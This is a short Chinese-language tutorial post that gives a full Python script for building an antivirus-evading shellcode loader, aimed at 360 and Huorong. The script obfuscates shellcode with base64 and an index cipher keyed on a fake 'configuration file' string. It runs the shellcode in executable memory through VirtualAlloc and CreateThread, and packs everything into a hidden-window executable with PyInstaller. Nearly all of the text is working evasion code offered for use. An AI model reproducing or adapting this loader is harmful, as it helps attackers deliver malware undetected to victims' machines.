python过杀软新

利用python加载shellcode过360、火绒等杀软

先上代码

将以下代码保存到 mt.py

shell 复制代码

import base64
import os
import shutil

buf = b"这里替换shellcode"
b64buf = base64.b64encode(buf)
lzsds = """
import ctypes
import base64

shellcode= base64.b64decode(\""""+b64buf.decode()+"""\")
shellcode= bytearray(shellcode)
ctypes.windll.kernel32.VirtualAlloc.restype= ctypes.c_uint64
ptr= ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),ctypes.c_int(0x40))
buf= (ctypes.c_char *len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
   ctypes.c_uint64(ptr),
   buf,
   ctypes.c_int(len(shellcode))
)
handle= ctypes.windll.kernel32.CreateThread(
   ctypes.c_int(0),
   ctypes.c_int(0),
   ctypes.c_uint64(ptr),
   ctypes.c_int(0),
   ctypes.c_int(0),
   ctypes.pointer(ctypes.c_int(0))
)
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
"""
def arraydecode(rr):
    list_char = "This is a configuration file please do not delete,=configuration No 'bjABkmpxyz-RSUOPQVEFGHIJKLMWXYZ_3102qvw485CD967=)"
    # 数组加密
    index_b = []
    for i in str(rr):
        index_a = list_char.index(str(i))
        index_b.append(index_a)
    return index_b

ba64lzsds = base64.b64encode(lzsds.encode("utf-8")).decode()
sdata = arraydecode(ba64lzsds)

#打包
with open("note.py",'w',encoding="utf-8") as f:
    f.write("""import base64
import ctypes
import os
"""+"\n")
    f.write("data = "+str(sdata)+"\n")
    f.write("""def j(index_b):
    list_char = "This is a configuration file please do not delete,=configuration No 'bjABkmpxyz-RSUOPQVEFGHIJKLMWXYZ_3102qvw485CD967=)"
    index_c = ""
    for i in index_b:
        index_c += list_char[i]
    return index_c
data_j = j(data)
code = base64.b64decode(data_j).decode('utf-8')
exec(code)
""")


import PyInstaller.__main__
try:
    # 获取要打包的脚本路径
    script_file = "note.py"
    # 获取 PyInstaller 路径
    pyinstaller_path = os.path.dirname(PyInstaller.__main__.__file__)
    # 设置打包选项
    build_args = [
        "-F",  # 生成一个单独的可执行文件
        "-w",  # 不显示命令行窗口
        "-i=1.ico",  # ico
        script_file  # 添加要打包的脚本路径
    ]
    # 执行打包命令
    PyInstaller.__main__.run(build_args)
except:
    print("exe在dist文件夹内")

shutil.rmtree("build")
shutil.rmtree("__pycache__")
os.remove("note.spec")
os.remove("note.py")